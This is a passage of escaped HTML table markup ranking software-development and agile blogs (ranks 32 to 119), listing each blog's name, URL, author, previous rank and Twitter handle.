href=\"http://twitter.com/agilemanager\">agilemanager</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>32</strong></td>\n<td align=\"center\" valign=\"top\">33</td>\n<td valign=\"top\"><a href=\"http://secretgeek.net/\">secretGeek</a></td>\n<td valign=\"top\">Leon Bambrick</td>\n<td valign=\"top\"><a href=\"http://twitter.com/secretgeek\">secretgeek</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>33</strong></td>\n<td align=\"center\" valign=\"top\">36</td>\n<td valign=\"top\"><a href=\"http://duckdown.blogspot.com/\">Enterprise Architecture: From Incite comes Insight…</a></td>\n<td valign=\"top\">James McGovern</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>34</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://devlicio.us/\">Devlicio.us</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/devlicious\">devlicious</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>35</strong></td>\n<td align=\"center\" valign=\"top\">9</td>\n<td valign=\"top\"><a href=\"http://steve-yegge.blogspot.com/\">Stevey’s Blog Rants</a></td>\n<td valign=\"top\">Steve Yegge</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>36</strong></td>\n<td align=\"center\" valign=\"top\">31</td>\n<td valign=\"top\"><a href=\"http://al3x.net/\">Alex Payne</a></td>\n<td valign=\"top\">Alex Payne</td>\n<td valign=\"top\"><a href=\"http://twitter.com/al3x\">al3x</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>37</strong></td>\n<td align=\"center\" valign=\"top\">58</td>\n<td valign=\"top\"><a href=\"http://stuffthathappens.com/blog/\">It’s Just a Bunch of Stuff That Happens</a></td>\n<td valign=\"top\">Eric Burke</td>\n<td valign=\"top\"><a href=\"http://twitter.com/burke_eric\">burke_eric</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>38</strong></td>\n<td align=\"center\" valign=\"top\">29</td>\n<td valign=\"top\"><a href=\"http://googletesting.blogspot.com/\">Google Testing Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>39</strong></td>\n<td align=\"center\" valign=\"top\">48</td>\n<td valign=\"top\"><a href=\"http://elegantcode.com/\">Elegant Code</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/elegantcode\">elegantcode</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>40</strong></td>\n<td align=\"center\" valign=\"top\">5</td>\n<td valign=\"top\"><a href=\"http://blogcabin.37signals.com/\">Signal vs. Noise</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/37signals\">37signals</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>41</strong></td>\n<td align=\"center\" valign=\"top\">66</td>\n<td valign=\"top\"><a href=\"http://www.exampler.com/blog/\">Exploration Through Example</a></td>\n<td valign=\"top\">Brian Marick</td>\n<td valign=\"top\"><a href=\"http://twitter.com/marick\">marick</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>42</strong></td>\n<td align=\"center\" valign=\"top\">57</td>\n<td valign=\"top\"><a href=\"http://ericbrown.com/\">Aligning Technology, Strategy, People &amp; Projects</a></td>\n<td valign=\"top\">Eric Brown</td>\n<td valign=\"top\"><a href=\"http://twitter.com/ericdbrown\">ericdbrown</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>43</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://www.codethinked.com/\">CodeThinked</a></td>\n<td valign=\"top\">Justin Etheredge</td>\n<td valign=\"top\"><a href=\"http://twitter.com/justinetheredge\">justinetheredge</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>44</strong></td>\n<td align=\"center\" valign=\"top\">35</td>\n<td valign=\"top\"><a href=\"http://www.contrast.ie/blog/\">Contrast | The Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>45</strong></td>\n<td align=\"center\" valign=\"top\">114</td>\n<td valign=\"top\"><a href=\"http://pyre.third-bit.com/blog/\">The Third Bit</a></td>\n<td valign=\"top\">Greg Wilson</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>46</strong></td>\n<td align=\"center\" valign=\"top\">22</td>\n<td valign=\"top\"><a href=\"http://beust.com/weblog/\">Otaku, Cedric’s Weblog</a></td>\n<td valign=\"top\">Cedric</td>\n<td valign=\"top\"><a href=\"http://twitter.com/cbeust\">cbeust</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>47</strong></td>\n<td align=\"center\" valign=\"top\">39</td>\n<td valign=\"top\"><a href=\"http://www.shahine.com/omar/\">Shanine.com / omar /</a></td>\n<td valign=\"top\">Omar Shahine</td>\n<td valign=\"top\"><a href=\"http://twitter.com/omarshahine\">omarshahine</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>48</strong></td>\n<td align=\"center\" valign=\"top\">11</td>\n<td valign=\"top\"><a href=\"http://www.ericsink.com/\">Eric.Weblog()</a></td>\n<td valign=\"top\">Eric Sink</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>49</strong></td>\n<td align=\"center\" valign=\"top\">108</td>\n<td valign=\"top\"><a href=\"http://www.pmthink.com/\">PMThink!</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>50</strong></td>\n<td align=\"center\" valign=\"top\">52</td>\n<td valign=\"top\"><a href=\"http://www.reformingprojectmanagement.com/\">Reforming Project Management</a></td>\n<td valign=\"top\">Hal Macomber</td>\n<td valign=\"top\"><a href=\"http://twitter.com/HalMacomber\">HalMacomber</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>51</strong></td>\n<td align=\"center\" valign=\"top\">62</td>\n<td valign=\"top\"><a href=\"http://www.codesqueeze.com/\">{Codesqueeze}</a></td>\n<td valign=\"top\">Max Pool</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mpool\">mpool</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>52</strong></td>\n<td align=\"center\" valign=\"top\">47</td>\n<td valign=\"top\"><a href=\"http://jrothman.com/blog/mpd/\">Managing Product Development</a></td>\n<td valign=\"top\">Johanna Rothman</td>\n<td valign=\"top\"><a href=\"http://twitter.com/johannarothman\">johannarothman</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>53</strong></td>\n<td align=\"center\" valign=\"top\">27</td>\n<td valign=\"top\"><a href=\"http://www.satisfice.com/blog/\">James Bach’s Blog</a></td>\n<td valign=\"top\">James Bach</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jamesmarcusbach\">jamesmarcusbach</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>54</strong></td>\n<td align=\"center\" valign=\"top\">34</td>\n<td valign=\"top\"><a href=\"http://blog.businessofsoftware.org/\">Business of Software Blog</a></td>\n<td valign=\"top\">Neil Davidson</td>\n<td valign=\"top\"><a href=\"http://twitter.com/neildavidson\">neildavidson</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>55</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://graysmatter.codivation.com/\">Gray’s Matter</a></td>\n<td valign=\"top\">Justice Gray</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>56</strong></td>\n<td align=\"center\" valign=\"top\">105</td>\n<td valign=\"top\"><a href=\"http://www.leadingagile.com/\">Leading Agile</a></td>\n<td valign=\"top\">Mike Cottmeyer</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mcottmeyer\">mcottmeyer</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>57</strong></td>\n<td align=\"center\" valign=\"top\">55</td>\n<td valign=\"top\"><a href=\"http://jeffblankenburg.com/default.aspx\">Blankenthoughts</a></td>\n<td valign=\"top\">Jeff Blankenburg</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jblankenburg\">jblankenburg</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>58</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://www.threeriversinstitute.org/blog/\">JUnit Max</a></td>\n<td valign=\"top\">Kent Beck</td>\n<td valign=\"top\"><a href=\"http://twitter.com/kentbeck\">kentbeck</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>59</strong></td>\n<td align=\"center\" valign=\"top\">43</td>\n<td valign=\"top\"><a href=\"http://agilesoftwaredevelopment.com/\">Agile Software Development</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/agileartem\">agileartem</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>60</strong></td>\n<td align=\"center\" valign=\"top\">32</td>\n<td valign=\"top\"><a href=\"http://forums.construx.com/blogs/stevemcc/default.aspx\">10x Software Development</a></td>\n<td valign=\"top\">Steve McConnell</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>61</strong></td>\n<td align=\"center\" valign=\"top\">51</td>\n<td valign=\"top\"><a href=\"http://blog.thinkrelevance.com/\">Relevance Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>62</strong></td>\n<td align=\"center\" valign=\"top\">113</td>\n<td valign=\"top\"><a href=\"http://www.markhneedham.com/blog/\">Mark Needham</a></td>\n<td valign=\"top\">Mark Needham</td>\n<td valign=\"top\"><a href=\"http://twitter.com/markhneedham\">markhneedham</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>63</strong></td>\n<td align=\"center\" valign=\"top\">78</td>\n<td valign=\"top\"><a href=\"http://blogs.msdn.com/micahel/\">The Braidy Tester</a></td>\n<td valign=\"top\">Micahel</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>64</strong></td>\n<td align=\"center\" valign=\"top\">65</td>\n<td valign=\"top\"><a href=\"http://herdingcats.typepad.com/\">Herding Cats</a></td>\n<td valign=\"top\">Glen Alleman</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>65</strong></td>\n<td align=\"center\" valign=\"top\">76</td>\n<td valign=\"top\"><a href=\"http://www.chrisspagnuolo.com/\">Chris Spagnuolo’s EdgeHopper</a></td>\n<td valign=\"top\">Chris Spagnuolo</td>\n<td valign=\"top\"><a href=\"http://twitter.com/chrisspagnuolo\">chrisspagnuolo</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>66</strong></td>\n<td align=\"center\" valign=\"top\">63</td>\n<td valign=\"top\"><a href=\"http://blog.toolshed.com/\">/\\ndy</a></td>\n<td valign=\"top\">Andy Hunt</td>\n<td valign=\"top\"><a href=\"http://twitter.com/pragmaticandy\">pragmaticandy</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>67</strong></td>\n<td align=\"center\" valign=\"top\">61</td>\n<td valign=\"top\"><a href=\"http://leansoftwareengineering.com/\">Lean Software Engineering</a></td>\n<td valign=\"top\">Corey Ladas</td>\n<td valign=\"top\"><a href=\"http://twitter.com/corey_ladas\">corey_ladas</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>68</strong></td>\n<td align=\"center\" valign=\"top\">83</td>\n<td valign=\"top\"><a href=\"http://infozerk.com/averyblog/\">averyBlog</a></td>\n<td valign=\"top\">James Avery</td>\n<td valign=\"top\"><a href=\"http://twitter.com/averyj\">averyj</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>69</strong></td>\n<td align=\"center\" valign=\"top\">89</td>\n<td valign=\"top\"><a href=\"http://xndev.blogspot.com/\">Creative Chaos</a></td>\n<td valign=\"top\">Matthew Heusser</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mheusser\">mheusser</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>70</strong></td>\n<td align=\"center\" valign=\"top\">41</td>\n<td valign=\"top\"><a href=\"http://agiletesting.blogspot.com/\">Agile Testing</a></td>\n<td valign=\"top\">Grig Gheorghiu</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>71</strong></td>\n<td align=\"center\" valign=\"top\">53</td>\n<td valign=\"top\"><a href=\"http://jamesshore.com/Blog/\">James Shore: The Art of Agile</a></td>\n<td valign=\"top\">James Shore</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jamesshore\">jamesshore</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>72</strong></td>\n<td align=\"center\" valign=\"top\">125</td>\n<td valign=\"top\"><a href=\"http://www.rallydev.com/agileblog/\">Agile Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>73</strong></td>\n<td align=\"center\" valign=\"top\">110</td>\n<td valign=\"top\"><a href=\"http://www.agileadvice.com/\">Agile Advice</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>74</strong></td>\n<td align=\"center\" valign=\"top\">23</td>\n<td valign=\"top\"><a href=\"http://blog.mountaingoatsoftware.com/\">Mike Cohn’s Blog: Succeeding with Agile</a></td>\n<td valign=\"top\">Mike Cohn</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>75</strong></td>\n<td align=\"center\" valign=\"top\">88</td>\n<td valign=\"top\"><a href=\"http://www.agiledeveloper.com/blog/\">Agile Developer Venkat’s Blog</a></td>\n<td valign=\"top\">Venkat Subramaniam</td>\n<td valign=\"top\"><a href=\"http://twitter.com/venkat_s\">venkat_s</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>76</strong></td>\n<td align=\"center\" valign=\"top\">74</td>\n<td valign=\"top\"><a href=\"http://memeagora.blogspot.com/\">Meme Agora</a></td>\n<td valign=\"top\">Neal Ford</td>\n<td valign=\"top\"><a href=\"http://twitter.com/neal4d\">neal4d</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>77</strong></td>\n<td align=\"center\" valign=\"top\">67</td>\n<td valign=\"top\"><a href=\"http://jeffsutherland.com/\">Object Technology</a></td>\n<td valign=\"top\">Jeff Sutherland</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jeffsutherland\">jeffsutherland</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>78</strong></td>\n<td align=\"center\" valign=\"top\">38</td>\n<td valign=\"top\"><a href=\"http://stevenharman.net/blog/\">StevenHarman.net</a></td>\n<td valign=\"top\">Steven Harman</td>\n<td valign=\"top\"><a href=\"http://twitter.com/stevenharman\">stevenharman</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>79</strong></td>\n<td align=\"center\" valign=\"top\">68</td>\n<td valign=\"top\"><a href=\"http://www.implementingscrum.com/\">Implementing Scrum</a></td>\n<td valign=\"top\">Mike Vizdos</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mvizdos\">mvizdos</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>80</strong></td>\n<td align=\"center\" valign=\"top\">100</td>\n<td valign=\"top\"><a href=\"http://www.ravensbrain.com/\">Raven’s Brain</a></td>\n<td valign=\"top\">Raven Young</td>\n<td valign=\"top\"><a href=\"http://twitter.com/ravenyoung\">ravenyoung</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>81</strong></td>\n<td align=\"center\" valign=\"top\">121</td>\n<td valign=\"top\"><a href=\"http://community.zdnet.co.uk/blog/0,1000000567,2000458459b,00.htm\">Software application development</a></td>\n<td valign=\"top\">Adrian Bridgwater</td>\n<td valign=\"top\"><a href=\"http://twitter.com/abridgwater\">abridgwater</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>82</strong></td>\n<td align=\"center\" valign=\"top\">145</td>\n<td valign=\"top\"><a href=\"http://www.codeodor.com/\">My Secret Life as a Spaghetti Coder</a></td>\n<td valign=\"top\">Sammy Larbi</td>\n<td valign=\"top\"><a href=\"http://twitter.com/codeodor\">codeodor</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>83</strong></td>\n<td align=\"center\" valign=\"top\">70</td>\n<td valign=\"top\"><a href=\"http://bit-player.org/\">Bit-Player</a></td>\n<td valign=\"top\">Brian Hayes</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>84</strong></td>\n<td align=\"center\" valign=\"top\">77</td>\n<td valign=\"top\"><a href=\"http://ourfounder.typepad.com/\">Evolving Web</a></td>\n<td valign=\"top\">Jim Benson</td>\n<td valign=\"top\"><a href=\"http://twitter.com/ourfounder\">ourfounder</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>85</strong></td>\n<td align=\"center\" valign=\"top\">71</td>\n<td valign=\"top\"><a href=\"http://mendicantbug.com/\">The Mendicant Bug</a></td>\n<td valign=\"top\">Jason Adams</td>\n<td valign=\"top\"><a href=\"http://twitter.com/ealdent\">ealdent</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>86</strong></td>\n<td align=\"center\" valign=\"top\">94</td>\n<td valign=\"top\"><a href=\"http://management.curiouscatblog.net/\">Curious Cat</a></td>\n<td valign=\"top\">John Hunter</td>\n<td valign=\"top\"><a href=\"http://twitter.com/curiouscat_com\">curiouscat_com</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>87</strong></td>\n<td align=\"center\" valign=\"top\">49</td>\n<td valign=\"top\"><a href=\"http://www.codingthearchitecture.com/\">Coding the Architecture</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>88</strong></td>\n<td align=\"center\" valign=\"top\">40</td>\n<td valign=\"top\"><a href=\"http://www.softwarebyrob.com/\">Software by Rob</a></td>\n<td valign=\"top\">Rob Walling</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>89</strong></td>\n<td align=\"center\" valign=\"top\">44</td>\n<td valign=\"top\"><a href=\"http://tynerblain.com/blog/\">Tyner Blain</a></td>\n<td valign=\"top\">Scott Sehlhorst</td>\n<td valign=\"top\"><a href=\"http://twitter.com/sehlhorst\">sehlhorst</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>90</strong></td>\n<td align=\"center\" valign=\"top\">64</td>\n<td valign=\"top\"><a href=\"http://www.agile-software-development.com/\">All About Agile</a></td>\n<td valign=\"top\">Kelly Waters</td>\n<td valign=\"top\"><a href=\"http://twitter.com/allaboutagile\">allaboutagile</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>91</strong></td>\n<td align=\"center\" valign=\"top\">42</td>\n<td valign=\"top\"><a href=\"http://alistair.cockburn.us/Blog\">Alistair Cockburn</a></td>\n<td valign=\"top\">Alistair Cockburn</td>\n<td valign=\"top\"><a href=\"http://twitter.com/theotheralistai\">theotheralistai</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>92</strong></td>\n<td align=\"center\" valign=\"top\">115</td>\n<td valign=\"top\"><a href=\"http://www.estherderby.com/weblog/blogger.html\">Insights You Can Use</a></td>\n<td valign=\"top\">Esther Derby</td>\n<td valign=\"top\"><a href=\"http://twitter.com/estherderby\">estherderby</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>93</strong></td>\n<td align=\"center\" valign=\"top\">99</td>\n<td valign=\"top\"><a href=\"http://www.clarkeching.com/\">Clarke Ching – More Chilli Please</a></td>\n<td valign=\"top\">Clarke Ching</td>\n<td valign=\"top\"><a href=\"http://twitter.com/clarkeching\">clarkeching</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>94</strong></td>\n<td align=\"center\" valign=\"top\">80</td>\n<td valign=\"top\"><a href=\"http://blog.cutter.com/\">The Cutter Blog</a></td>\n<td valign=\"top\">(various)</td>\n<td valign=\"top\"><a href=\"http://twitter.com/cuttertweets\">cuttertweets</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>95</strong></td>\n<td align=\"center\" valign=\"top\">102</td>\n<td valign=\"top\"><a href=\"http://www.io.com/~wazmo/blog/\">Testing Hotlist Update</a></td>\n<td valign=\"top\">Bret Pettichord</td>\n<td valign=\"top\"><a href=\"http://twitter.com/bpettichord\">bpettichord</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>96</strong></td>\n<td align=\"center\" valign=\"top\">82</td>\n<td valign=\"top\"><a href=\"http://testobsessed.com/\">Test Obsessed</a></td>\n<td valign=\"top\">Elisabeth Hendrickson</td>\n<td valign=\"top\"><a href=\"http://twitter.com/testobsessed\">testobsessed</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>97</strong></td>\n<td align=\"center\" valign=\"top\">—</td>\n<td valign=\"top\"><a href=\"http://www.satisfice.com/kaner/\">Cem Kaner’s Blog</a></td>\n<td valign=\"top\">Cem Kaner</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>98</strong></td>\n<td align=\"center\" valign=\"top\">143</td>\n<td valign=\"top\"><a href=\"http://www.targetprocess.com/blog/\">Edge of Chaos</a></td>\n<td valign=\"top\">Michael Dubakov</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mdubakov\">mdubakov</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>99</strong></td>\n<td align=\"center\" valign=\"top\">87</td>\n<td valign=\"top\"><a href=\"http://www.charlespetzold.com/blog/blog.xml\">Petzold Book Blog</a></td>\n<td valign=\"top\">Charles Petzold</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>100</strong></td>\n<td align=\"center\" valign=\"top\">104</td>\n<td valign=\"top\"><a href=\"http://www.ibm.com/developerworks/blogs/page/ambler\">Agility@Scale</a></td>\n<td valign=\"top\">Scott W. Ambler</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>101</strong></td>\n<td align=\"center\" valign=\"top\">175</td>\n<td valign=\"top\"><a href=\"http://theworkinggeek.com/\">The Working Geek</a></td>\n<td valign=\"top\">Andy Lester</td>\n<td valign=\"top\"><a href=\"http://twitter.com/petdance\">petdance</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>102</strong></td>\n<td align=\"center\" valign=\"top\">98</td>\n<td valign=\"top\"><a href=\"http://www.lazycoder.com/weblog/\">Lazycoder</a></td>\n<td valign=\"top\">Scott Koon</td>\n<td valign=\"top\"><a href=\"http://twitter.com/lazycoder\">lazycoder</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>103</strong></td>\n<td align=\"center\" valign=\"top\">119</td>\n<td valign=\"top\"><a href=\"http://jchyip.blogspot.com/\">You’d think with all my video game experience…</a></td>\n<td valign=\"top\">Jason Yip</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jchyip\">jchyip</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>104</strong></td>\n<td align=\"center\" valign=\"top\">168</td>\n<td valign=\"top\"><a href=\"http://parlezuml.com/blog/\">Agile Software Process Improvement</a></td>\n<td valign=\"top\">Jason Gorman</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jasongorman\">jasongorman</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>105</strong></td>\n<td align=\"center\" valign=\"top\">101</td>\n<td valign=\"top\"><a href=\"http://debasishg.blogspot.com/\">Ruminations of a Programmer</a></td>\n<td valign=\"top\">Debasish Ghosh</td>\n<td valign=\"top\"><a href=\"http://twitter.com/debasishg\">debasishg</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>106</strong></td>\n<td align=\"center\" valign=\"top\">132</td>\n<td valign=\"top\"><a href=\"http://blog.martinig.ch/\">From the Editor of Methods &amp; Tools</a></td>\n<td valign=\"top\">Martinig</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>107</strong></td>\n<td align=\"center\" valign=\"top\">72</td>\n<td valign=\"top\"><a href=\"http://blog.brodzinski.com/\">Software Project Management</a></td>\n<td valign=\"top\">Pawel Brodzinski</td>\n<td valign=\"top\"><a href=\"http://twitter.com/pawelbrodzinski\">pawelbrodzinski</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>108</strong></td>\n<td align=\"center\" valign=\"top\">90</td>\n<td valign=\"top\"><a href=\"http://www.moserware.com/\">Moserware</a></td>\n<td valign=\"top\">Jeff Moser</td>\n<td valign=\"top\"><a href=\"http://twitter.com/jeffmoser\">jeffmoser</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>109</strong></td>\n<td align=\"center\" valign=\"top\">109</td>\n<td valign=\"top\"><a href=\"http://www.developsense.com/blog.html\">DevelopSense Blog</a></td>\n<td valign=\"top\">Michael Bolton</td>\n<td valign=\"top\"><a href=\"http://twitter.com/michaelbolton\">michaelbolton</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>110</strong></td>\n<td align=\"center\" valign=\"top\">92</td>\n<td valign=\"top\"><a href=\"http://www.kohl.ca/blog/\">Collaborative Software Testing</a></td>\n<td valign=\"top\">Jonathan Kohl</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>111</strong></td>\n<td align=\"center\" valign=\"top\">130</td>\n<td valign=\"top\"><a href=\"http://adam.goucher.ca/\">Quality through Innovation</a></td>\n<td valign=\"top\">Adam Goucher</td>\n<td valign=\"top\"><a href=\"http://twitter.com/adamgoucher\">adamgoucher</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>112</strong></td>\n<td align=\"center\" valign=\"top\">107</td>\n<td valign=\"top\"><a href=\"http://crazeegeekchick.com/\">Crazeegeekchick.com</a></td>\n<td valign=\"top\">Dana Coffey</td>\n<td valign=\"top\"><a href=\"http://twitter.com/crazeegeekchick\">crazeegeekchick</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>113</strong></td>\n<td align=\"center\" valign=\"top\">160</td>\n<td valign=\"top\"><a href=\"http://faler.wordpress.com/\">Wille Faler’s Buzzword Bingo</a></td>\n<td valign=\"top\">Wille Faler</td>\n<td valign=\"top\"><a href=\"http://twitter.com/wfaler\">wfaler</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>114</strong></td>\n<td align=\"center\" valign=\"top\">126</td>\n<td valign=\"top\"><a href=\"http://blog.davidyack.com/\">MrDave’s (David Yack) Blog!</a></td>\n<td valign=\"top\">David Yack</td>\n<td valign=\"top\"><a href=\"http://twitter.com/davidyack\">davidyack</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>115</strong></td>\n<td align=\"center\" valign=\"top\">118</td>\n<td valign=\"top\"><a href=\"http://scalingsoftwareagility.wordpress.com/\">Scaling Software Agility</a></td>\n<td valign=\"top\">Dean Leffingwell</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>116</strong></td>\n<td align=\"center\" valign=\"top\">96</td>\n<td valign=\"top\"><a href=\"http://leadinganswers.typepad.com/\">LeadingAnswers</a></td>\n<td valign=\"top\">Mike Griffiths</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>117</strong></td>\n<td align=\"center\" valign=\"top\">166</td>\n<td valign=\"top\"><a href=\"http://www.testingreflections.com/blog/2\">Antony Marcano’s Blog</a></td>\n<td valign=\"top\">Antony Marcano</td>\n<td valign=\"top\"> </td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>118</strong></td>\n<td align=\"center\" valign=\"top\">85</td>\n<td valign=\"top\"><a href=\"http://www.michaelnygard.com/blog/\">Wide Awake Developers</a></td>\n<td valign=\"top\">Michael Nygard</td>\n<td valign=\"top\"><a href=\"http://twitter.com/mtnygard\">mtnygard</a></td>\n</tr>\n<tr>\n<td align=\"center\" valign=\"top\"><strong>119</strong></td>\n<td align=\"center\" valign=\"top\">137</td>\n<td valign=\"top\"><a href=\"http://dnicolet1.tripod.com/agile/\">Effective Software Development</a></td>\n<td valign=\"top\">Dave Nicolette</td>\n<td valign=\"top\"><a href=\"http://twitter.com/davenicolette\">davenicolette</a></td>\n</tr>\n<tr>\n<td align=\"center\" 